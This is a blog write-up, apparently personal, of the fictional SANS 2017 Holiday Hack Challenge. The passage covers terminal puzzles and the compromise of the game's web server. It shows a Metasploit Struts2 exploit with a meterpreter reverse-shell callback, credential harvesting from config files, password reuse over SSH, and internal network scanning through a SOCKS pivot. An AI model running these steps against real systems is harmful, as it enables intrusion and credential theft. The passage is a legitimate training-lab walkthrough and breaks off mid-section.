SANS Christmas Challenge 2017
Posted on mer. 10 janvier 2018 in Write-up
'Tis the season to be pwning, falalalala lalalala. As usual, here's my write-up for the 2017 SANS Christmas Challenge.
Table of contents
Introduction
We're greeted by Sam the Snowman, who exposes the situation to us. The North Pole is under siege, attacked by giant falling snowballs, and an Inter-Dimensional Tornado, that shredded The Great Book. This book tells the epic story of the elves. Our mission is to redirect the falling snowballs, find out who is behind all this, and recover the missing seven pages of The Great Book.
Here are the questions we must answer:
- Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
- Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?
- The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
- Elf Web Access (EWA. is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?
- How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
- The North Pole engineering team has introduced an Elf as a Service (EaaS. platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
- Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI. to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
- Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?
- Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?
This challenge is divided into two targets:
- The North Pole Christmas Town infrastructure, which includes the Letters To Santa application, and the internal 10.142.0.0/24 network.
- The North Pole and Beyond, where we have to redirect falling snowballs. These levels also have Cranberry Pi terminal with challenges to solve. Solving these challenges gives us objects to redirect the falling snowballs, and hints to the exploitation of the North Pole Christmas Town infrastructure. Hints are also available for the Cranberry Pi terminal challenges, on the Twitter accounts of the different elves.
Now I know that hints can be helpful, but it's more fun to try and figure out how to solve the different challenges our own way. So:
- We won't use the Twitter profiles to solve the Cranberry Pi challenges.
- I'll post the solutions to the Cranberry Pi challenges, but we won't use the hints that are given after solving.
As usual, I'll try to detail my thought process as much as possible, including dead-ends and mistakes (that's the best way to learn).
Sounds good? Great (plus, you don't really have a say)!
First page of The Great Book
North Pole and Beyond: Winter Wonder Landing
The first page is available in the North Pole and Beyond, in the level Winter Wonder Landing. We must use the giant falling snowball to get the first page. But let's first solve the Cranberry Pi challenge.
Cranberry Pi: Yannick's (dirty) solution
| \ ' / -- (*) -- >*< >0<@< >>>@<<* >@>*<0<<< >*>>@<<<@<< >@>>0<<<*<<@< >*>>0<<@<<<@<<< >@>>*<<@<>*<<0<*< \*/ >0>>*<<@<>0><<*<@<< ___\\U//___ >*>>@><0<<*>>@><*<0<< |\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<< |\\_|_|&&_// ||*.*.*.*|_\\db//_ """"|'.'.'.|~~|.*.*.*| ____|_ |'.'.'.| ^^^^^^|____|>>>>>>| ~~~~~~~~ '""""`------' My name is Bushy Evergreen, and I have a problem for you. I think a server got owned, and I can only offer a clue. We use the system for chat, to keep toy production running. Can you help us recover from the server connection shunning? Find and run the elftalkd binary to complete this challenge. elf@3b92caa92835:~$
Ok, so we just have to find the elftalkd
binary and launch it, easy
enough:
elf@2849ef63a77a:~$ find / -name elftalkd
bash: /usr/local/bin/find: cannot execute binary file: Exec format error
Hmm, find
doesn't work, dammit. We can try to execute a
ls -lR /
, however this does not give us the full path to the listed
files:
elf@2849ef63a77a:/$ ls -lR /
/:
total 64
drwxr-xr-x 2 root root 4096 Nov 14 13:49 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 5 root root 360 Dec 23 16:17 dev
drwxr-xr-x 1 root root 4096 Dec 23 16:17 etc
drwxr-xr-x 1 root root 4096 Dec 4 14:32 home
drwxr-xr-x 8 root root 4096 Sep 13 2015 lib
drwxr-xr-x 2 root root 4096 Nov 14 13:49 lib64
drwxr-xr-x 2 root root 4096 Nov 14 13:48 media
drwxr-xr-x 2 root root 4096 Nov 14 13:48 mnt
drwxr-xr-x 2 root root 4096 Nov 14 13:48 opt
dr-xr-xr-x 292 nobody nogroup 0 Dec 23 16:17 proc
drwx------ 2 root root 4096 Nov 14 13:49 root
drwxr-xr-x 1 root root 4096 Dec 4 14:32 run
drwxr-xr-x 1 root root 4096 Nov 17 21:59 sbin
drwxr-xr-x 2 root root 4096 Nov 14 13:48 srv
dr-xr-xr-x 13 nobody nogroup 0 Dec 21 14:03 sys
drwxrwxrwt 1 root root 4096 Dec 4 14:32 tmp
drwxr-xr-x 1 root root 4096 Nov 14 13:48 usr
drwxr-xr-x 1 root root 4096 Nov 14 13:49 var
/bin:
total 7364
-rwxr-xr-x 1 root root 1037528 May 16 2017 bash
-rwxr-xr-x 1 root root 52080 Mar 2 2017 cat
-rwxr-xr-x 1 root root 60272 Mar 2 2017 chgrp
-rwxr-xr-x 1 root root 56112 Mar 2 2017 chmod
-rwxr-xr-x 1 root root 64368 Mar 2 2017 chown
-rwxr-xr-x 1 root root 151024 Mar 2 2017 cp
[snip]
/var/opt:
total 0
/var/spool:
total 0
lrwxrwxrwx 1 root root 7 Nov 14 13:48 mail -> ../mail
/var/tmp:
total 0
If I pipe this output to a grep elftalkd
, we can see that the file
exists:
elf@2849ef63a77a:/$ ls -lR / | grep elftalkd
-rwxr-xr-x 1 root root 7385168 Dec 4 14:29 elftalkd
However, we don't have the parent folder. If we look at the full output of
ls -lR
, we can see that it has this form:
/path/to/folder1
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file1_in_folder_1
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file2_in_folder_1
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file3_in_folder_1
/path/to/folder2
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file1_in_folder_2
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file2_in_folder_2
-rwxr-xr-x 1 root root 52080 Mar 2 2017 file3_in_folder_2
[...]
We can see that we have the full path to the parent folder, and then, line by
line, the files contained in this folder. So, if I grep for lines starting
with /
, along with greping for elftalkd
, I'll get an output
like this:
[...]
/path/to/folder1
/path/to/folder2
/path/to/elftalkd
-rwxr-xr-x 1 root root 52080 Mar 2 2017 elkftalkd
/path/to/folder3
[...]
However, the result will be lost in a list of folders, so I pipe my output
in another grep
, where I look for elkftalkd
. The -B 1
option tells grep
to print the line before the matching line (which
should be the line with the parent folder to our program):
elf@2849ef63a77a:/$ ls -lR / | grep -E '^/|elftalkd' | grep -B 1 elftalkd
/run/elftalk/bin:
-rwxr-xr-x 1 root root 7385168 Dec 4 14:29 elftalkd
We now have the full path to our binary, /run/elftalkd/bin/elftalkd
.
We can now launch it:
elf@2849ef63a77a:/$ /run/elftalk/bin/elftalkd
Running in interactive mode
--== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
_ __ _ _ _ _
| |/ _| | | | | | |
___| | |_| |_ __ _| | | ____| |
/ _ \ | _| __/ _` | | |/ / _` |
| __/ | | | || (_| | | < (_| |
\___|_|_| \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337)
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...
Cranberry Pi: the "official" solution
After solving the Cranberry Pi challenge in my (dirty) way, I looked at Bushy
Evergreen's twitter profile. In this
tweet, he
mentions that someone replaced the find
executable with a wrong
version. Let's take a look at the find
executable on the console:
elf@2a00576f91ec:~$ which find
/usr/local/bin/find
elf@2a00576f91ec:~$ file /usr/local/bin/find
/usr/local/bin/find: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=6ebee1b65b978900b5485
2a2d1e698f911064ab3, stripped
Hmm, the find
executable seems to be for an ARM processor. However,
we appear to be running on an Intel x64 processor:
elf@2a00576f91ec:~$ uname -a
Linux 2a00576f91ec 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
That's why we got the Exec format error
message when we tried to
execute it: it's not for the right architecture. Let's copy a x64 find
executable to the machine. To do so, I base64-encoded the find
binary
from my system, pasted it to a file on the Cranberry Pi console, and then
decoded it:
elf@2a00576f91ec:~$ echo "f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAwHIAAAAAAABAAAAAAAAAAAhbAwAAAAAAAAAAAEAAOAAJ
AEAAHQAcAAYAAAAFAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA
[snip]
AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPxZ
AwAAAAAABgEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=" > ~/find.b64
elf@2a00576f91ec:~$ base64 -d ~/find.b64 > ~/find
elf@2a00576f91ec:~$ chmod +x ~/find
elf@2a00576f91ec:~$ file ~/find
/home/elf/find: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7079a38abca5fb9d188cc66bb15fb
ec5e98f0f00, stripped
elf@2a00576f91ec:~$ ~/find / -name elftalkd 2> /dev/null
/run/elftalk/bin/elftalkd
Redirecting the snowball
Now that we have completed the challenge, we get a new object to redirect our snowballs: the Conveyor, that can redirect snowballs.
Here's the layout I used to redirect the snowball to the first page of The Great Book (Ok, this is dirty, but I didn't understand that if I clicked on the conveyor, I could change its direction):
We now have the first page to The Great Book
(sha256: b86eca1fdb8d1fb00c38cebfbca0989579c00b482343dff950310de0f8c77888
):
About This Book...
This tome is the work of a successive group of anonymous scribes dedicated to preserving the memory of the exceptional Little People of Oz so that they'll go down in history. Over a span of several centuries, each author has striven to capture the most important social, political, and technological changes the Ozians have experienced from the happy golden days of yore through today.
Each and every author is dedicated to the goal of helping future generations appreciate and understand the unique shared heritage of merriment, mirth, and magnanimity characteristic of the Little People of Oz. This book describes the good times they have shared. Also, it does not shy away from recording the bad times they have suffered as well. Each writer on this great multi-generational project attempts to record and present the facts neutrally, without bias or opinion, uninfluenced as much as possible by factionalism or the controversies of the day.
This North Pole and Beyond level doesn't have a North Pole Christmas Town infrastructure level associated, so let's move on to the next page.
Second page of The Great Book
Now the second page is not in the North Pole and Beyond level, but in the North Pole Christmas Town infrastructure. But let's solve the NPaB challenge first.
North Pole and Beyond: Winconceivable: The Cliffs of Winsanity
Cranberry Pi: Yannick's (dirty) solution
___,@ / < ,_ / \ _, ? \`/______\`/ ,_(_). |; (e e) ;| \___ \ \/\ 7 /\/ _\8/_ \/\ \'=='/ | /| /| \ \___)--(_______|//|//| \___ () _____/|/_|/_| / () \ `----' / () \ '-.______.-' jgs _ |_||_| _ (@____) || (____@) \______||______/ My name is Sparkle Redberry, and I need your help. My server is atwist, and I fear I may yelp. Help me kill the troublesome process gone awry. I will return the favor with a gift before nigh. Kill the "santaslittlehelperd" process to complete this challenge.
Ok, we need to kill the santaslittlehelperd
process. Weirdly enough,
the kill
command did not seem to have any effect on the process:
elf@cc2c61f5d274:~$ ps aux | grep santaslittlehelperd
elf 8 0.0 0.0 4224 684 pts/0 S 17:02 0:00 /usr/bin/santaslittlehelperd
elf 163 0.0 0.0 11284 944 pts/0 S+ 17:04 0:00 grep --color=auto santaslittlehelperd
elf@cc2c61f5d274:~$ kill -9 8
elf@cc2c61f5d274:~$ ps aux | grep santaslittlehelperd
elf 8 0.0 0.0 4224 684 pts/0 S 17:02 0:00 /usr/bin/santaslittlehelperd
elf 171 0.0 0.0 11284 944 pts/0 S+ 17:04 0:00 grep --color=auto santaslittlehelperd
However, killing the process in the top
program seemed to work:
top - 17:05:09 up 2 days, 3:10, 0 users, load average: 0.05, 0.12, 0.12
Tasks: 6 total, 1 running, 5 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.7 sy, 0.0 ni, 99.3 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 14782588 total, 5738860 free, 1989032 used, 7054696 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 11804040 avail Mem
Send pid 8 signal [15/sigterm] 9
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
8 elf 20 0 4224 684 612 S 0.0 0.0 0:00.00 santaslittlehel
11 elf 20 0 13528 6468 1488 S 0.0 0.0 0:00.09 kworker
12 elf 20 0 18248 3336 2848 S 0.0 0.0 0:00.01 bash
18 elf 20 0 71468 26636 9420 S 0.0 0.2 0:00.50 kworker
210 elf 20 0 36672 3124 2660 R 0.0 0.0 0:00.00 top
Cranberry Pi: the "official" solution
After solving the challenge, I checked Sparkle Redberry's Twitter account.
In this tweet,
she mentions having problems with a malicious alias. Let's run alias
on the box to see what's what:
elf@b21389dba617:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'
Ah! There are aliases that prevent us from using kill
and the like,
which explains why our earlier kill
command didn't do anything. We
can redefine the aliases, or directly call the binaries.
elf@b21389dba617:~$ which kill
/bin/kill
elf@b21389dba617:~$ ps aux | grep santaslittlehelperd
elf 8 0.0 0.0 4224 624 pts/0 S 17:29 0:00 /usr/bin/santaslittlehelperd
elf 139 0.0 0.0 11284 1024 pts/0 S+ 17:31 0:00 grep --color=auto santaslittlehelperd
elf@b21389dba617:~$ /bin/kill -9 8
elf@b21389dba617:~$ ps aux | grep santaslittlehelperd
elf 148 0.0 0.0 11284 992 pts/0 S+ 17:31 0:00 grep --color=auto santaslittlehelperd
Redirecting the snowball
Anyway, since we managed to kill the process, we're given a new object: the Candy Cane, which can redirect the snowball.
Now here's the layout I used to redirect the snowball:
North Pole Christmas Town infrastructure: Letters to Santa application
The North Pole fine folks host a web application, where all good boys and girls can send a letter to Santa, requesting their favorite toys:
The question specifies that there is a page of The Great Book at the web root
of the server. Let's see, the name of the first page was
GreatBookPage1.pdf
. Now, what could possibly be the name of this
second page... You guessed it, if you browse directly to the URL
https://l2s.northpolechristmastown.com/GreatBookPage2.pdf, you get direct
access to the second page of The Great Book (sha256: c4983d87ac8debc02a07d586ea9e43839ba081a426b5c490ceadb830c1cc3d4f
):
On the Topic of Flying Animals
Originally, only birds could fly in Oz. But, throughout the land, it was universally recognized that other flying animals would bring great economic benefits - faster transportation, decreased shipping costs, and a certain whimsicality that would likely increase tourism. Oz's greatest scientific minds were tasked with the creation of such beasts. Unfortunately, the actual development of flying animal species was plagued with unforeseen difficulties.
The first attempt, a single flying lion name Moonracer, was deemed a failure. Although the lion could indeed fly, children responded in abject terror at his fearsome appearance. The Oz Chamber of Commerce demanded that scientists choose a species less formidable than a lion.
Hoping to correct their error, Ozian scientists next grafted wings onto monkeys, hoping that inherent simian cutenes would prevail. Alas, winged monkeys proved even more horrific than the flying lion.
The exasperated scientists then made their third and final attempt - flying reindeer. Through intense research, they devised an incredible technological advancement, that would allow reindeer to fly without wings! It was an unparalleled genetic and aerodynamic achievement.
Yet, even this advance was accompanied by a slight concern. The deep-seated genetic alterations introduced to support wingless flight resulted in an infinitesimally small probability of a significant side effect: a one-in-a-million chance that a reindeer would one day be born with a brilliantly shiny red nose. Some of the scientists posited such a reindeer's nose would even glow. Despite this change, the reserachers charged ahead to breed an entire herd of such flying reindeer. And, for centuries, the "red nose" phenomenon was never observed in the wild.
Although the flying reindeer were a technological marvel and achieved enormous success in Oz, The Great Schism changed everything. During the separation negotiations, the Wizard of Oz and Santa Claus both decided that Moonrancer and the reindeer would be moved to the North Pole, while the flying monleys would remain in Oz.
Now let's try to pwn this application, in order to get access to the internal network. If we take a look at the source code of the application, we find something interesting:
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Toys List</title>
<script src="/js/jquery.min.js"></script>
<link rel="stylesheet" href="/css/materialize.min.css">
<script src="/js/materialize.min.js"></script>
<meta name="description" content="North Pole Letters to Santa">
<meta name="keywords" content="North,Pole,Letters,Santa,toy,request">
<meta name="author" content="Alabaster Snowball">
[...]
<!-- Development version -->
<a href="http://dev.northpolechristmastown.com" style="display: none;">Access Development Version</a>
There seems to be a hidden link, to a development version of the application:
Users can manually request toys:
Did you notice something interesting in the above screenshots? Let's take a closer look:
This server is using Apache Struts as the application framework! Many of you know that Struts was affected by a pretty serious vulnerability this year, which leads to unauthenticated remote code execution.
Let's use our favorite exploitation framework to get a shell on this webserver. I installed Metasploit on a public-facing server of mine. SANS helpfully posted instructions on how to register to the free-tier AWS offers if you don't already have a public-facing server.
msf exploit(multi/http/struts2_rest_xstream) > options
Module options (exploit/multi/http/struts2_rest_xstream):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST dev.northpolechristmastown.com yes The target address
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /orders/3043 yes Path to Struts action
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST X.X.X.X yes The local listener hostname
LPORT 443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
1 Python (In-Memory)
msf exploit(multi/http/struts2_rest_xstream) > exploit
[-] Handler failed to bind to 163.172.50.13:443
[*] Started HTTPS reverse handler on https://0.0.0.0:443
[*] https://X.X.X.X:443 handling request from X.X.X.X; (UUID: oqqwyeik) Staging python payload (43883 bytes) ...
[*] Meterpreter session 1 opened (Y.Y.Y.Y:443 -> X.X.X.X:50354) at 2017-12-24 16:56:24 +0100
meterpreter > getuid
Server username: alabaster_snowball
Alright, we have a Meterpreter shell on the server!
Let's take a look at /var/www/html
, which is the web root according to
the nginx configuration file found on the server:
meterpreter > ls -l /var/www/html/*.pdf
Listing: /var/www/html/*.pdf
============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 1764298 fil 2017-12-05 18:27:15 +0100 GreatBookPage2.pdf
We see our second page, which we found earlier via forceful browsing. So even if the name had not been predictable, we would have been able to find this page.
Now, the goal is to find Alabaster Snowball's password. I first tried to
escalate my privileges on the server, in order to get access to the
/etc/shadow
file, but I didn't succeed. So, let's find another way.
Let's take a look at listening sockets:
meterpreter > shell
Process 20555 created.
Channel 7 created.
/bin/sh: 0: can't access tty; job control turned off
$ netstat -tlpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 6 0 0.0.0.0:9000 0.0.0.0:* LISTEN 11043/python
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 790/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 790/java
We can see that our user is running a Java program, with the PID 790. Let's get details on this process:
$ ps aux | grep -w 790
alabast+ 790 5.0 2.0 939444 630656 ? Sl 03:01 43:43 /opt/jre/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Dfile.encoding=UTF-8 -Dnet.sf.ehcache.skipUpdateCheck=true -XX:+UseConcMarkSweepGC -XX:+CMSClassUnloadingEnabled -XX:+UseParNewGC -XX:MaxPermSize=128m -Xms512m -Xmx512m -Djava.endorsed.dirs=/opt/apache-tomcat/endorsed -classpath /opt/apache-tomcat/bin/bootstrap.jar -Dcatalina.base=/opt/apache-tomcat -Dcatalina.home=/opt/apache-tomcat -Djava.io.tmpdir=/opt/apache-tomcat/temp org.apache.catalina.startup.Bootstrap start
Our user is running the Apache Tomcat server. The different Java resources
seem to be installed in /opt
. Let's take a look at the files there.
There may indeed be configuration files containing our current user's password:
$ grep -A 1 -Rn alabaster_snowball /opt
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class:3: final String username = "alabaster_snowball";
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class-4- final String password = "stream_unhappy_buy_loss";
Bingo, we got a password for our user, but it seems to be for a MySQL connection. Let's see if our user used the same password for their system password. Our pwned server has an SSH server accessible from the Internet:
$ nmap -p 22 dev.northpolechristmastown.com
Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-24 18:40 CET
Nmap scan report for dev.northpolechristmastown.com (35.185.84.51)
Host is up (0.18s latency).
rDNS record for 35.185.84.51: 51.84.185.35.bc.googleusercontent.com
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
$ ssh alabaster_snowball@dev.northpolechristmastown.com
alabaster_snowball@dev.northpolechristmastown.com's password: stream_unhappy_buy_loss
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.FcLiqpWNISKoESUcwo5Jip8O$ hostname
hhc17-apache-struts1
alabaster_snowball@hhc17-apache-struts1:/tmp/asnow.FcLiqpWNISKoESUcwo5Jip8O$
Alright! The password stream_unhappy_buy_loss
also works for the
system account. Let's the internal IP address of the system:
$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
inet 10.142.0.3 netmask 255.255.255.255 broadcast 10.142.0.3
ether 42:01:0a:8e:00:03 txqueuelen 1000 (Ethernet)
RX packets 4837274 bytes 1254973259 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 4
TX packets 11266245 bytes 3876810300 (3.6 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Alright, we have access to the 10.142.0.0/24 network, which is in scope! Let's what IP addresses are up. For this I use a custom one-liner, launched directly on the machine:
$ prefix=10.142.0; for i in `seq 1 254`; do ping -c 1 -W 1 $prefix.$i > /dev/null 2>&1 && echo "$prefix.$i is up"; done
10.142.0.2 is up
10.142.0.3 is up
10.142.0.5 is up
10.142.0.6 is up
10.142.0.7 is up
10.142.0.8 is up
10.142.0.11 is up
10.142.0.13 is up
Now that we know which IPs are up, let's perform a port scan. Luckily,
nmap
is installed on the server, so we can use it. But let's say that
nmap
isn't installed on the machine: in a real world example, this
would most likely be the case, and that's how I did it (it didn't even cross
my mind that nmap
could be installed, and I just checked when writing
this write-up).
Now that we have valid SSH credentials, we can create a SOCKS proxy using the
-D
option. We can then use a tool like proxychains
to redirect
our different tools through our SOCKS proxy:
$ # in one terminal
$ ssh -D 4242 alabaster_snowball@dev.northpolechristmastown.com
$ # in another terminal
$ tail -n 6 /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 4242 # modify here in your configuration file
$ proxychains nmap -sT -Pn --top-port 10 --open -iL ./up_ips.txt
[snip]
Now you may notice that I just scanned the top 10 TCP ports. Indeed, scanning port through a SOCKS proxy can take quite some time, because of the overhead, so most of the time I just bother to scan the top 10 TCP ports.
Now, since nmap
is installed on our compromised machine, let's do a
more thorough scan, directly from the hhc17-apache-struts1
machine:
$ nmap --open 10.142.0.0/24 -oA tcp_top_1000_10.142.0.0.24
Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-25 23:04 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00021s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.00021s latency).
Not shown: 998 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00016s latency).
Not shown: 994 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
143/tcp open imap
2525/tcp open ms-v-worlds
3000/tcp open ppp
Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00013s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
8080/tcp open http-proxy
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.00052s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00018s latency).
Not shown: 960 closed ports, 35 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00023s latency).
Not shown: 996 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4443/tcp open pharos
9090/tcp open zeus-admin
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.0045s latency).
Not shown: 998 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
Nmap done: 256 IP addresses (7 hosts up) scanned in 7.17 seconds
We now have a better view of the internal network.
Third page of The Great Book
North Pole and Beyond: Cryokinetic Magic
Cranberry Pi: Yannick's (dirty) solution
___ / __'. .-"""-. .-""-| | '.'. / .---. \ / .--. \ \___\ \/ /____| | / / \ `-.-;-(`_)_____.-'._ ; ; `.-" "-:_,(o:==..`-. '. .-"-, | | / \ / `\ `. \ / .-. \ \ \ | Y __...\ \ \ / / \/ /\ | | | .--""--.| .-' \ '.`---' / \ \ / / |` \' _...--.; '---'` \ '-' / jgs /_..---.._ \ .'\\_ `. `--'` .' (_) `'/ (_) / `._ _.'| .' ``````` '-...--'` My name is Holly Evergreen, and I have a conundrum. I broke the candy cane striper, and I'm near throwing a tantrum. Assembly lines have stopped since the elves can't get their candy cane fix. We hope you can start the striper once again, with your vast bag of tricks. Run the CandyCaneStriper executable to complete this challenge.
Ok, so we just have to execute the CandyCaneStripper
executable, let's
take a look at it:
elf@cd14b3563680:~$ ls -lh
total 48K
-rw-r--r-- 1 root root 45K Dec 15 19:59 CandyCaneStriper
The CandyCaneStripper
file is not marked as executable. So we can't
launch it. Let's chmod
it to add the executable flag:
elf@cd14b3563680:~$ chmod +x ./CandyCaneStriper
elf@cd14b3563680:~$ ls -lh CandyCaneStriper
-rw-r--r-- 1 root root 45K Dec 15 19:59 CandyCaneStriper
Hmm, it didn't work. Let's take a look at the chmod
executable:
elf@cd14b3563680:~$ which chmod
/bin/chmod
elf@cd14b3563680:~$ file /bin/chmod
/bin/chmod: empty
The chmod
executable is empty, so we don't have it. We can't use the
same trick as for the find
executable from "Winter Wonder Landing",
because it involded using chmod
to mark our new program as executable.
We seem to be stuck in a Catch-22 logic.
So, let's see how we can change our program's attributes, without relying on
chmod
.
This Stack Exchange answer gives us several possibilities. I used the first one:
elf@cd14b3563680:~$ cp /bin/ls ./CandyCaneStriper_from_ls
elf@cd14b3563680:~$ cp ./CandyCaneStriper ./CandyCaneStriper_from_ls
elf@cd14b3563680:~$ ls -lh CandyCaneStriper_from_ls
-rwxr-xr-x 1 elf elf 45K Dec 23 18:57 CandyCaneStriper_from_ls
elf@cd14b3563680:~$ ./CandyCaneStriper_from_ls
_..._
.'\\ //`,
/\\.'``'.=",
/ \/ ;==|
/\\/ .'\`,`
/ \/ `""`
/\\/
/\\/
/\ /
/\\/
/`\/
\\/
`
The candy cane striping machine is up and running!
Cranberry Pi: the "official" solution
